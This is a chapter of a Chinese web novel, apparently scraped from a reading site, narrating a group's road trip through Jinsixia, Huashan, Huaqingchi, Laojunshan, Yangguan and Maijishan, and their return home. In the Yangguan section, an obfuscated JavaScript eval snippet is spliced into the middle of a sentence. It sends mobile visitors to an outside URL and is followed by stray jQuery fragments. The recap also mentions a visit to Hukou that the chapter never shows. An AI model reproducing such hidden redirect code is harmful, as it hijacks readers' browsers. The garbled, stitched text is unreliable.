42.第 42 章

作品:《《半生债》

    《半生债》下卷第12章·山河入梦


    一、出城


    从东海出来的时候,天还没亮透。


    齐选东开着车,嘴里哼着不成调的小曲,是那种老掉牙的《在那桃花盛开的地方》。他夫人坐在副驾驶,嫌他跑调,说:“你快别唱了,把瞌睡都唱跑了。”


    齐选东嘿嘿两声,不唱了,改成吹口哨。吹得比唱还难听。


    后面坐着王霖、宋泰生和郑雨秀。郑雨秀靠窗,看着外面一点点亮起来的天。天边先是灰的,慢慢变成鱼肚白,又慢慢染上一点橘红。路灯还亮着,一盏一盏的,在晨光里显得昏黄无力。


    车上了高速,往西开。


    齐选东的夫人趴着窗户看了一会儿,说:“这出了城,怎么还是城?没完没了的。”


    齐选东说:“东海是大城市,出城也得半天。”


    她说:“那什么时候才能看见山?”


    齐选东说:“急什么,路长着呢。”


    她不说话了,靠回椅背上,眯着眼睛养神。


    郑雨秀一直看着窗外。那些楼房慢慢矮下去,慢慢稀疏下去,最后变成田野,变成村庄,变成远处隐隐约约的山影子。她看得入神,连眼镜片上起了雾都没擦。


    王霖问她:“想什么呢?”


    她说:“想我小时候。我外婆家也在山里,山没这么大,但也是山。小时候放暑假就去,一住一个月。”


    王霖说:“现在呢?”


    她说:“外婆不在了,就不去了。”


    王霖点点头,没再问。


    车开了一上午,进了山区。起初是些小土包,长满了树,绿茸茸的。后来慢慢变高,变大,最后就成了秦岭。那些山一座连着一座,挤挤挨挨的,望不到头。有的山尖上还绕着云,白白的,像围了条围巾。


    齐选东的夫人又活了,趴在窗户上喊:“山!山!终于看见山了!”


    齐选东说:“你小声点,玻璃都要被你震碎了。”


    她不理他,继续喊。


    二、金丝峡


    进金丝峡的时候,正是晌午。


    太阳直直地照下来,峡谷里一半明一半暗。明的那边亮得晃眼,暗的那边幽深神秘。空气凉丝丝的,带着水汽和草木的清香,吸一口,从嗓子眼一直凉到肺里。


    才走几步,就听见水声。


    不是一处,是处处。左边有溪流潺潺,右边有山泉叮咚,前面有瀑布轰鸣,后面有涧水幽咽。那些声音混在一起,高高低低,远远近近,像一支看不见的乐队,在峡谷里奏着永不停歇的曲子。


    齐选东的夫人侧着耳朵听了半天,问:“这水怎么这么多?”


    王霖说:“秦岭是中央水塔,水能不多吗?”


    她不懂什么叫中央水塔,但听着好像很厉害的样子,就点点头,不再问了。


    沿着栈道往里走,水越来越多。一会儿是一条小溪从脚边流过,清得能看见底下的石子,圆的、扁的、白的、青的,一颗一颗,像被人精心摆放过;一会儿是一道瀑布从崖壁上挂下来,像一条白绸子,在风里轻轻飘着,飘着飘着就散了,化成一片水雾。


    走到一处瀑布跟前,几个人都站住了。


    那瀑布不高,也就十来米,却宽得很。水从崖壁上漫下来,不是冲,是漫,像一张透明的水帘子,遮住了后面的石壁。阳光从水帘后面透过来,把水珠照得亮晶晶的,一颗一颗的,像珍珠一样。那些珍珠不停地落,不停地碎,碎了又聚,聚了又落。


    郑雨秀看得发呆,半天才说:“这水……是真的吗?”


    齐选东说:“当然是真的,假的能流吗?”


    他夫人说:“人家是说太漂亮了,像假的。”


    郑雨秀点点头。


    再往里走,水声越来越大。转过一个弯,眼前豁然开朗——一道大瀑布从几十米高的地方跌落下来,砸进下面的深潭,轰隆隆的响声震得人耳朵发麻。水雾腾起来,飘散开来,把周围几十米都笼罩在一片白茫茫里。站在那儿,就像站在雨中,又不像雨中。雨是凉的,这是凉的;雨是湿的,这是湿的;可雨没有这么大,这么密,这么铺天盖地。


    齐选东的夫人捂着头发,说:“这水怎么像下雨似的?”


    齐选东说:“那不是雨,是水雾。”


    她伸手接了一把,还真是水雾,细细的,凉凉的,落在手上就化了,只剩一点湿意。


    正看着,忽然有人喊:“彩虹!有彩虹!”


    几个人顺着声音看去,果然,瀑布前面的水雾里,一道彩虹横跨着,七彩分明,从左边山崖跨到右边山崖,像一座桥,一座会发光的桥。


    齐选东的夫人激动得不行,拉着齐选东就跑:“快!快!给我拍照!”


    齐选东被她拽着跑,气喘吁吁的,掏出手机,咔嚓咔嚓拍了好几张。拍完了,她凑过去看,不满意:“这张不好,我眼睛闭着。重拍!”


    齐选东又拍。拍完了,她又看:“这张脸太黑。重拍!”


    齐选东哭笑不得,还是拍。


    拍了七八张,终于有一张满意的。她这才放过他,高高兴兴地看彩虹去了。


    王霖站在瀑布前,看着那水,想起小时候听过的传说。说是很久以前,秦岭山里有一条恶龙,专门祸害百姓,吃人吃牲口,把好好的地方搅得鸡犬不宁。后来有个年轻人,拿着宝剑跟恶龙斗了三天三夜,最后把恶龙斩成了几段。恶龙的血流进山里,就成了这些瀑布和溪流。血是红的,水是清的,可那股子劲儿还在,那股子不服输的劲儿。


    他把这个传说讲给大家听。


    齐选东的夫人听了,低头看了看那清清的水,忽然说:“那这水是龙血变的?”


    王霖说:“传说是这么说的。”


    她想了想,说:“那还挺血腥的。”


    大家都笑了。


    三、绿


    金丝峡的绿,是那种看一眼就忘不掉的绿。


    不是一种绿,是无数种绿。深绿、浅绿、翠绿、墨绿、碧绿、油绿……层层叠叠,挤挤挨挨,把整个峡谷都染透了。抬头看,峭壁上覆满了苔藓,绿茸茸的,厚厚的一层,像铺了一张绿绒毯。阳光照在上面,那些苔藓就发光,绿莹莹的光,柔和得很。低头看,溪水里飘着水草,细细的,长长的,绿得透明,像一条条绿丝带在水里飘啊飘。左右看,树林密密匝匝,每一片叶子都绿得发亮,绿得流油,好像用手一掐,就能掐出绿水来。


    齐选东的夫人走几步就停下来,摸摸这棵树,闻闻那朵花。她指着一棵大树问:“这是啥树?”


    王霖走近看了看,树干笔直,树皮灰白,叶子像小扇子:“银杏。”


    “银杏不是黄的嘛?”


    “秋天黄,现在还是绿的。”


    她点点头,又指着另一棵:“那个呢?”


    那棵树不高,叶子细细的,密密的,结着小红果。王霖说:“红豆杉。”


    “红豆杉?就是那个很珍贵的?”


    “对,国家一级保护植物。”


    她凑近了看,看了半天,说:“也没啥特别的嘛,跟普通树差不多。”


    齐选东说:“珍贵不一定特别,特别的不一定珍贵。”


    她说:“那倒也是。”


    郑雨秀走在最后,一直拿着手机拍照。她拍树,拍花,拍蕨类,拍青苔。有一片青苔,长在一块大石头上,绿得鲜嫩,绿得发亮,像一块上好的翡翠。她蹲在那儿拍了半天,一会儿近一会儿远,一会儿俯拍一会儿侧拍。


    齐选东的夫人走过去看,问:“这有啥好拍的?”


    郑雨秀说:“好看。”


    她蹲下来,仔细看了看那片青苔。青苔厚厚的,软软的,上面还有细小的水珠,亮晶晶的。她伸手摸了摸,说:“是挺好看。”


    走到一处竹林,光线一下子暗下来。竹子又高又密,把太阳都遮住了。一根一根的,笔直地立着,像无数根绿色的柱子。风吹过,竹叶沙沙作响,那声音细细的,密密的,像在说悄悄话。林子里有一条小路,曲曲折折的,铺着竹叶,踩上去软软的,不知通向哪里。


    齐选东的夫人忽然说:“这地方,怎么有点像《卧虎藏龙》里那场打戏?周润发和章子怡在竹子上飞来飞去那个。”


    齐选东说:“你还看过《卧虎藏龙》?”


    她说:“咋啦?我不能看?”


    齐选东说:“能,能,你能。”


    郑雨秀小声说:“要是会轻功就好了,可以在竹子上飞来飞去,想飞哪儿飞哪儿。”


    王霖笑着说:“那得练多少年?”


    她说:“练一辈子也愿意。”


    齐选东的夫人说:“练一辈子,那得吃多少苦?”


    郑雨秀想了想,说:“可要是真能飞,吃苦也值。”


    大家都笑了。


    四、华山


    从金丝峡出来,往东走,下一站是华山。


    车开到华阴县的时候,天已经黑了。远远的,就看见一座大山黑黢黢地立在前面,像一堵墙,把天都挡住了。山上有点点灯光,是索道站的灯,也有徒步道上的灯,星星点点的,像萤火虫。


    齐选东的夫人趴在车窗上看了半天,说:“这就是华山?”


    王霖说:“嗯。”


    她说:“看着也不高嘛。”


    齐选东说:“那是晚上看不出来,明天你就知道了。”


    第二天一早,几个人进了山。


    从玉泉院开始,一路往上。开始还好,路平缓,两边是树木溪流,走着舒服。可走了一个小时,路就开始陡了。台阶一级一级的,又高又窄,得扶着铁链才能上。


    齐选东的夫人走了半小时就喘上了,扶着铁链直喊:“不行了不行了,歇会儿。”


    齐选东说:“这才刚开始,千尺幢还没到呢。”


    她说:“千尺幢是啥?”


    齐选东说:“就是一千尺的台阶,比这个陡多了。”


    她脸都白了:“那我不去了,你们去吧。”


    齐选东说:“来都来了,不上去看看?”


    她想了想,咬咬牙,继续爬。


    千尺幢确实陡。那台阶几乎垂直,得手脚并用,抓着两边的铁链往上爬。往上看,是一线天,窄窄的,只能看见头顶的一小块天;往下看,是万丈深渊,深不见底,看一眼腿就软。


    郑雨秀爬到一半,忽然停下来,不敢动了。她抓着铁链,手都在抖。


    王霖在她后面,问:“怎么了?”


    她说:“我……我怕。”


    王霖说:“别往下看,只看前面,一步一步来。”


    她点点头,深呼吸了几下,继续往上爬。


    爬到北峰,几个人都累瘫了。坐在石头上,大口喘气,谁也不说话。


    歇够了,站起来看风景。这一看,全都愣住了。


    那些山,不是一座一座的,是一块一块的。巨大的花岗岩,像刀切的一样,笔直地立着。有的像莲花,有的像斧头,有的像仙人。云雾缭绕在半山腰,白的,软的,像棉花一样。那些山峰在云雾里若隐若现,一会儿露出来,一会儿又藏进去,像在捉迷藏。


    齐选东的夫人看了半天,说:“这山……怎么长这样?”


    王霖说:“花岗岩地貌,风化的,雨打的,几千万年了。”


    她说:“真像画儿一样。”


    郑雨秀拿出手机想拍照,发现手机没电了。她懊恼地说:“刚才爬千尺幢的时候一直录像,录没电了。”


    齐选东的夫人说:“没事,我拍了,回头发给你。”


    往东峰走的路上,经过一段叫“天梯”的地方。那台阶更陡,几乎垂直,得抓着铁链倒着往下走。齐选东的夫人走在最前面,走几步就喊一声:“你们还在吗?”


    齐选东在后面说:“在,在,你慢点。”


    走到一处观景台,忽然有人喊:“日出!日出!”


    几个人赶紧跑过去。东边的天边,已经开始泛红了。先是一线红,慢慢扩大,变成一片红。然后,一个红红的圆点冒出来,慢慢变大,慢慢变圆。那红色越来越亮,越来越亮,最后,整个太阳跳了出来,金光四射,把整个东峰都照亮了。


    齐选东的夫人张着嘴,半天说不出话。


    郑雨秀拿着齐选东的手机,拼命拍照。


    宋泰生站在最边上,一动不动,眼睛里映着那轮红日。


    王霖看着他,忽然问:“想什么呢?”


    他说:“想我这一辈子,还没看过这么好看的日出。”


    王霖说:“现在看到了。”


    他点点头,笑了。


    五、华清池


    从华山下来,去了临潼。


    华清池在骊山脚下,依山而建。进了大门,是一条长长的走廊,两边是亭台楼阁,小桥流水。池子里养着锦鲤,红的白的黄的,游来游去,悠然自得。


    齐选东的夫人趴在栏杆上看鱼,看得入神。她指着一条约有手臂粗的大锦鲤说:“这条鱼怕是有几十斤吧?”


    齐选东说:“几十斤?几百斤都有可能。”


    她说:“几百斤的鱼?那不得成精了?”


    郑雨秀在旁边小声说:“这池子一千多年了,鱼也该传了多少代了。”


    往里走,是汤池遗址。一个个池子,大的小的,方的圆的,都用玻璃罩着。池子里的水早就干了,只剩下石头,光滑的,温润的,仿佛还残留着千年前的体温。


    导游在旁边讲解:“这是唐玄宗和杨贵妃沐浴的地方。这个最大的,是玄宗的御汤;旁边这个小的,是贵妃的海棠汤。”


    齐选东的夫人看着那个海棠汤,说:“就这么小一个池子?”


    导游笑了:“那时候的池子都这样,不是咱们现在想的那么宽敞。而且贵妃洗澡,不是一个人洗,有宫女服侍,池子里还要撒花瓣。”


    她说:“那也挺舒服的。”


    齐选东说:“你想试试?”


    她瞪他一眼:“你又没池子。”


    站在温泉古源边上,能看见泉水还在冒。一股细细的水流从石头缝里涌出来,冒着热气,流进池子里。伸手试试水温,温温的,不烫也不凉,刚刚好。


    郑雨秀用矿泉水瓶接了一点,说:“这水真滑。”


    王霖说:“温泉嘛,含矿物质,洗了对皮肤好。”


    她说:“那要是天天洗,是不是能变年轻?”


    齐选东说:“那你留下来洗,我们回去。”


    她笑了,把水瓶收进包里,说:“带回去给我妈洗。”


    往里走,是五间厅。那是□□当年住的地方,墙上还留着西安事变时的弹孔。一个个小洞,密密麻麻的,嵌在墙壁上,像蜂巢。


    齐选东的夫人摸着那些弹孔,说:“这得多少枪啊?”


    王霖说:“那时候打得很激烈。”


    她说:“那老蒋跑了没?”


    王霖说:“跑了,从后窗翻出去,爬到后面的骊山上,最后还是被抓了。”


    她点点头,站在窗前,望着后面的骊山,不知道在想什么。


    从华清池出来,天已经傍晚了。夕阳照在骊山上,那些亭台楼阁被染成了金色,池子里的水也泛着金光,锦鲤游过,留下一道道金色的波纹。


    齐选东的夫人回头看了一眼,说:“这地方,真适合谈恋爱。”


    齐选东说:“那你跟我谈一个?”


    她说:“都谈几十年了,还谈啥?”


    大家都笑了。


    六、老君山


    从陕西往东,进了河南,去老君山。


    老君山在栾川,是伏牛山的主峰,传说是老子归隐修炼的地方。远远望去,山势巍峨,云雾缭绕,确实有几分仙气。


    车开到山脚下,已经是中午。坐索道上山,缆车晃晃悠悠的,慢慢升高。下面是深谷,上面是青天,两边是峭壁。齐选东的夫人不敢往下看,紧紧抓着扶手,眼睛闭着。


    齐选东说:“你不是不怕高吗?”


    她说:“我不怕高,我怕掉下去。”


    郑雨秀倒是胆大,趴在窗户上看,不停地拍照。她指着远处的一座山峰说:“快看,那个像不像一个人?”


    大家顺着她指的方向看去,还真像。那山峰孤零零地立着,顶上有一块石头,像人的头,下面是一整块石壁,像人的身体。风一吹,云雾飘过,那人就像在动。


    齐选东说:“那是老子悟道峰。”


    她说:“老子真在那儿悟过道?”


    齐选东说:“传说是,谁知道呢。”


    下了索道,还要爬一段才到金顶。那金顶在阳光下闪着光,金灿灿的,像一座黄金铸成的宫殿。走近了才看清,不是金的,是铜的。铜铸的殿顶,在阳光下氧化了,变成金色。


    郑雨秀站在金顶前,仰着头看,看得脖子都酸了。她问王霖:“这得用多少铜啊?”


    王霖说:“不知道,几百吨吧。”


    她说:“几百吨铜,得多少钱?”


    齐选东说:“你咋老问钱?这是文化,懂不?”


    她笑了,说:“懂,懂,文化。”


    站在金顶上往下看,群山都在脚下。一座一座的,层层叠叠的,像海浪一样涌向天边。有的山青,有的山黛,有的山在云雾里,隐隐约约的,像画里的仙山。


    宋泰生站在那儿,看了很久。王霖走过去,问他:“想什么呢?”


    他说:“想我老了,要是能住在这儿就好了。”


    王霖说:“这儿冬天冷,夏天热,不方便。”


    他笑了,说:“也是。”


    从金顶下来,路过一处悬崖,叫“舍身崖”。下面是万丈深渊,深不见底,看一眼腿就软。护栏很矮,只到腰,风一吹,人都站不稳。


    齐选东的夫人走过去,扶着护栏往下看了一眼,吓得赶紧缩回来:“我的妈呀,这也太深了。”


    齐选东说:“你刚才不是还说要修仙吗?从这儿跳下去,就成仙了。”


    她瞪他一眼:“你才跳,你全家都跳。”


    郑雨秀站在旁边,倒是没怕。她往下看了好一会儿,忽然说:“要是我,我舍不得跳。”


    王霖问:“为什么?”


    她说:“活着多好,还能看这么好看的风景。”


    王霖点点头。


    七、面


    这一路,吃的面食,没有重样的。


    在陕西,吃的是岐山臊子面。那是一家小店,门脸不大,五六张桌子,油腻腻的,可人满为患。老板是个黑瘦的汉子,话不多,动作麻利。一碗面上来,红油汪汪的,上面漂着一层辣子,看着就开胃。面条细,筋道,汤头酸辣鲜香。臊子是猪肉丁,炒得干干的,香香的,配上木耳丁、胡萝卜丁、豆腐丁,一口面一口汤,呼噜呼噜就下去了。


    齐选东吃完一碗,又要了一碗。他夫人说:“你慢点,没人跟你抢。”


    他说:“太好吃了,忍不住。”


    郑雨秀也吃了一碗,辣得直吸气,可还是一口接一口,舍不得停。


    在甘肃,吃的是兰州牛肉面。师傅在案板上拉来拉去,一团面在手里翻飞,几下就拉成了细细的丝。下锅一煮,捞出来,浇上牛肉汤,放几片牛肉,撒一把香菜蒜苗。汤清,味醇,面筋道。郑雨秀吃了一碗,说:“这个比臊子面好吃。”


    齐选东的夫人说:“你每吃一个都说比上一个好吃。”


    郑雨秀脸红了,说:“真的都好吃嘛。”


    在山西,吃的是刀削面。大师傅托着一团面,站在大锅前,唰唰唰削进锅里。面条像小鱼儿一样在沸水里翻滚,一会儿就浮上来。捞出来,浇上臊子,放上青菜,撒一把葱花。面条外滑内筋,嚼起来有劲道,越嚼越香。齐选东吃了一口,说:“这个有嚼头,我喜欢。”


    在宁夏,吃的是羊肉搓面。面条是手工搓的,粗粗的,圆圆的,像一根根小棍子。拌上炒过的羊肉丁、青红椒、洋葱,再加一把孜然,香得人直流口水。那香味飘出去老远,路过的人都回头看。宋泰生吃了两碗,王霖看了他一眼。他说:“好久没吃过这么好吃的面了。”


    王霖知道,这是他老家的味道。


    在陕西山西交界的地方,还吃了一回裤带面。那面条宽得像裤带,一碗就一根,长长的,捞起来能绕碗三圈。拌上油泼辣子、蒜泥、醋,简单,却香得不行。齐选东的夫人吃了半根就饱了,说:“这面太实在了,一碗顶三碗。”


    一路吃下来,每个人都胖了一圈。齐选东拍拍肚子,说:“回去得减肥了。”


    他夫人说:“减啥减,吃都吃了。”


    可最后一天,在回家的路上,几个人却同时想起了一件事。


    那天中午,又到了一家面馆。老板拿着菜单过来,问吃啥。几个人翻着菜单,看了半天,谁也没点。


    齐选东的夫人忽然说:“我想吃馒头。”


    齐选东愣了一下,然后笑了:“我也想吃馒头。”


    郑雨秀点点头:“馒头。”


    宋泰生也点了点头。


    王霖也笑了。


    是啊,吃了那么多花样,那么多味道,那么多讲究,最后最想吃的,还是最简单的白面馒头。热腾腾的,松软软的,什么也不加,就着一点咸菜,就是最好吃的东西。


    齐选东说:“这叫啥?返璞归真?”


    他夫人说:“叫吃饱了撑的。”


    大家都笑了。


    老板在旁边听着,也笑了,说:“行,给你们蒸一笼馒头。”


    那馒头端上来,白胖胖的,冒着热气,麦香扑鼻。一人掰一个,咬一口,软软的,甜甜的,满嘴都是粮食的本味。


    齐选东嚼着馒头,忽然说:“人这嘴啊,就是贱。好东西吃多了,就惦记这普通的。”


    王霖说:“不是贱,是根。馒头是咱们这地方人的根,吃多少年都不腻。那些花样,是锦上添花;这馒头,是雪中送炭。”


    他点点头,又咬了一口。


    八、阳关


    继续往西,到了阳关。


    阳关在敦煌西边,古时候是丝绸之路上的要道。出了阳关,就是西域,就是茫茫大漠,就是另一个世界。


    车开到阳关遗址,眼前一片荒凉。


    就剩一座土墩子,孤零零地立在戈壁滩上。风一吹,土就往下掉,簌簌的,像在流泪。周围什么都没有,就戈壁,就沙砾,就呼呼的风。天是灰的,地是黄的,只有那土墩子,灰不灰黄不黄的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259095|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,说不清是什么颜色。


    齐选东的夫人看着那土墩,说:“这就是阳关?”


    王霖说:“嗯。”


    她说:“咋这么破?”


    王霖说:“一千多年了,能不破吗?风吹的,雨打的,人踩的,马踏的。能剩下这个,已经不错了。”


    她点点头,绕着土墩转了一圈。转完了,站在那儿,望着那片茫茫戈壁,忽然开口:


    “渭城朝雨浥轻尘,客舍青青柳色新。劝君更尽一杯酒,西出阳关无故人。”


    王霖愣了。


    她居然会背这首诗。


    齐选东也愣了,看着自己老婆,像看陌生人。认识几十年了,从没见她背过诗。


    她回过头,看见两个人的表情,脸一下子红了,说:“咋啦?我初中背过不行啊?我又不是没上过学。”


    齐选东竖起大拇指:“行,太行了。没想到我老婆还是文化人。”


    她得意地笑了。


    郑雨秀站在旁边,也轻声念了一遍:“西出阳关无故人。”念完,她问王霖:“王总,你说,那时候的人出阳关,是什么心情?”


    王霖想了想,说:“可能又害怕,又期待吧。”


    她说:“害怕什么?”


    “害怕回不来。出了阳关,就是西域,就是大漠,就是未知。能不能活着回来,能不能再见亲人,都不知道。”


    她点点头,望着那片茫茫戈壁,不知道在想什么。


    旁边有个导游带着一队游客,正在讲解。导游拿着小喇叭,声音在风里飘:“大家知道吗?阳关和玉门关是丝绸之路上的两个重要关口。出了阳关,就是西域,就是咱们现在说的新疆。那时候的商人、使者、僧侣,都要从这里经过。很多人一去不回,所以有‘西出阳关无故人’的说法。”


    齐选东的夫人听了,忽然说:“那些人,真勇敢。”


    齐选东说:“那可不,搁你你敢去?”


    她说:“我?我可不敢。我连夜里一个人上厕所都害怕。”


    大家都笑了。


    从阳关出来,又去了玉门关。也是一座土墩子,比阳关还破,只剩一点残垣断壁,孤零零地立在戈壁滩上。


    齐选东的夫人看了一眼,说:“这也太破了,还不如阳关呢。”


    王霖说:“春风不度玉门关嘛。”


    她说:“啥意思?”


    “就是说这儿太荒凉,连春风都吹不到。玉门关比阳关还西边,还荒凉。”


    她点点头,说:“那倒是,这风刮得我脸疼。”


    几个人站在那儿,看着那座残破的关隘,想象着千百年前,那些出关的人,是怎样一步一回头的。他们走出这道关,回头望最后一眼,看见的是亲人,是故乡,是再也回不去的一切。


    郑雨秀忽然说:“要是我,我肯定哭。”


    齐选东的夫人说:“要是我,我就不出去。”


    宋泰生一直没说话,可他站在那儿,看了很久。


    九、麦积山


    从敦煌往回走,路过天水,去了麦积山。


    麦积山在秦岭西端,孤零零的一座山,形状像麦垛,所以叫麦积山。山不高,却陡,崖壁上密密麻麻全是洞窟,像蜂巢一样,一层一层往上垒,数都数不清。


    齐选东的夫人仰着头看,脖子都酸了:“这山上怎么这么多洞?”


    王霖说:“石窟,里面全是佛像。从后秦开始凿的,凿了一千多年。”


    她说:“佛像?那得上去看看。”


    山不高,可栈道陡,爬起来也累。她爬到一半就喘不上气了,扶着栏杆直喊:“不行了不行了,歇会儿。”


    齐选东在旁边说:“刚才谁喊着要上来的?”


    她瞪他一眼,继续爬。


    爬到上面,进了石窟,几个人都不说话了。


    那些佛像,大大小小,高高矮矮,有的站着,有的坐着,有的卧着。大的有十几米高,得仰着头看,脖子都仰酸了才能看见脸;小的只有巴掌大,得凑近了才看得清。有的佛像保存得好,面目清晰,神态安详,嘴角带着一丝若有若无的笑;有的佛像残破了,缺胳膊少腿,脸上也模糊了,可那股慈悲劲儿还在,那股庄严劲儿还在。


    齐选东的夫人站在一尊大佛前面,仰着头看了半天,忽然问:“这是谁?”


    王霖说:“释迦牟尼。”


    “他干啥的?”


    “佛教的创始人。教人放下执念,求得解脱。”


    她点点头,也不知道听懂没有。可她站在那儿,看了很久,一动不动的。


    旁边有个导游在讲解,声音轻轻的,怕惊扰了佛像:“麦积山石窟始建于后秦,距今已经一千六百多年了。这些佛像都是历代工匠一锤一锤凿出来的,有的凿了几十年,有的凿了一辈子。很多人从年轻凿到老,从黑发凿到白头,一辈子就凿一尊佛。”


    齐选东的夫人听了,说:“那些人真有耐心。”


    齐选东说:“人家那是信仰。”


    她说:“啥叫信仰?”


    齐选东想了想,说:“就是信一个东西,信一辈子,不管有没有回报,不管别人怎么看。”


    她点点头,又看了看那尊佛像,没再问。


    郑雨秀站在一尊残破的佛像前面,看了很久。那尊佛像的脸已经模糊了,鼻子眼睛都看不清了,身体也残缺不全,可双手还合在胸前,保持着祈福的姿势。


    她忽然说:“它残了,还在保佑人。”


    王霖说:“也许吧。”


    她说:“佛会老吗?”


    王霖想了想,说:“佛不会老,可石头会。”


    她点点头,没再说话。


    从麦积山下来,天已经快黑了。夕阳照在山壁上,那些洞窟被染成了金色,佛像在洞里若隐若现,像在发光。


    齐选东的夫人回头看了一眼,说:“下次还来。”


    齐选东说:“行,下次再来。”


    十、黄河夜


    最后一晚,他们住在黄河边上的一个小镇。


    镇子不大,一条街从头走到尾,也就十几分钟。街两边是农家乐,卖黄河鲤鱼的,卖羊肉串的,卖当地土产的。晚上的时候,街上亮起了灯笼,红红的,一串一串的,照得整条街都暖洋洋的。


    他们找了一家农家乐住下。老板娘是个胖胖的大姐,嗓门大,人也热情。她给几个人安排好了房间,又张罗着做晚饭。


    齐选东的夫人坐在院子里,看着那些灯笼,说:“这儿真好。”


    齐选东说:“哪儿好?”


    她说:“安静。暖和。有家的感觉。”


    齐选东点点头,没说话。


    晚饭又是鱼。黄河鲤鱼,红烧的,一条鱼装了一大盆。鱼是野生的,肉紧实,有嚼劲,不像养殖的那种一煮就散。几个人围着桌子,你一筷子我一筷子,吃得热火朝天。


    还有羊肉串,炭火烤的,外焦里嫩,撒了孜然和辣椒面,香得人直流口水。齐选东一口气吃了十串,还意犹未尽。


    吃完饭,几个人坐在院子里喝茶。老板娘端上来一盘自家种的枣子,红红的,甜甜的,咬一口,满嘴都是枣香。


    天上有星星,密密麻麻的,比城里多得多。银河横在天上,像一条发光的河,从南到北,把天空分成两半。


    齐选东的夫人仰着头数星星,数了半天,说:“数不清。”


    齐选东说:“你数得清才怪。”


    郑雨秀坐在旁边,也看着星星。她看得很认真,眼睛亮亮的。


    宋泰生坐在角落里,一直没说话。可他的眼睛也亮亮的,看着那些星星,看着那些灯笼,看着这些人。


    王霖看着他,忽然问:“想啥呢?”


    宋泰生沉默了一会儿,说:“想小时候,在黄河边上,也是这样看星星。”


    王霖说:“那时候的星星比现在多吧?”


    他说:“多。那时候没有灯,满天的星星,数都数不清。”


    王霖点点头。


    大家都沉默了。


    过了好一会儿,齐选东的夫人忽然说:“回去以后,咱们还一起出来玩吧。”


    齐选东说:“行啊,每年出来一次。”


    她说:“说话算话。”


    齐选东说:“算话。”


    郑雨秀小声说:“我也来。”


    宋泰生没说话,可他点了点头。


    十一、归途


    回程的路,好像比来时短。


    也许是因为走过了,熟悉了;也许是因为心里装着太多东西,顾不上看窗外。


    齐选东开着车,偶尔哼两句歌。他夫人靠在他肩上,睡着了。郑雨秀还是老样子,看着窗外,不知道在想什么。宋泰生闭着眼,也不知睡没睡着。


    王霖看着他们,心里忽然有一种奇怪的感觉。


    这些人,几个月前还不认识,现在坐在一起,像一家人一样。


    他想,这就是缘分吧。


    窗外,夕阳正在落下去。红红的,圆圆的,把天边染成了橘红色。远处有山,有河,有村庄,有炊烟。一切都在夕阳里,变得温柔起来。


    他忽然想起一句话:山河入梦来。


    这一路走过来的山河,都会入梦的。金丝峡的水,华山的日出,华清池的温汤,老君山的金顶,壶口的怒吼,阳关的荒凉,麦积山的佛像,黄河边的星星。在梦里,它们会更美,更温柔,更让人想念。


    十二、家


    回到东海,已经是七天后了。


    张莉在家等着,做了他爱吃的菜。吃完饭,他坐在沙发上,跟张莉讲这一路的见闻。


    讲金丝峡的水和绿,讲华山的险和日出,讲华清池的温泉和弹孔,讲老君山的金顶和悬崖。讲壶口的怒吼,讲阳关的诗,讲麦积山的佛,讲黄河边的星星。讲那些不重样的面,讲最后最想吃的馒头。


    张莉听着,偶尔问两句,偶尔点点头。


    讲完了,张莉说:“下次带我一起去。”


    王霖说:“好。”


    张莉靠在他肩上,没再说话。


    窗外的夜色很深,很静。偶尔有车经过,灯光划过窗户,又消失了。


    王霖想起齐选东的夫人站在阳关背诗的样子,想起郑雨秀在麦积山红了眼眶的样子,想起宋泰生在华山看日出的样子,想起他们在老君山顶望着群山的背影。


    那些画面,像照片一样,一张一张在脑子里过。


    他想,这些都会入梦的。


    在梦里,他们会一直年轻,一直快乐,一直在路上。


    这就够了。


    他伸手揽住张莉,感觉到她身体的温度,软软的,暖暖的。


    他说:“睡吧。”


    张莉说:“嗯。”


    灯灭了。


    窗外,有风轻轻地吹。


    ---


    谨以此章,献给那些一起走过山河的人——无论你们现在在哪里,那些一起看过的水、一起走过的路、一起爬过的山、一起吃过的不重样的面,都会一直在梦里。最后最想吃的那个馒头,就是回家的念想。


    山河入梦来,故人长相忆。


    半生债,一世情。


    活着,就是最好的还债。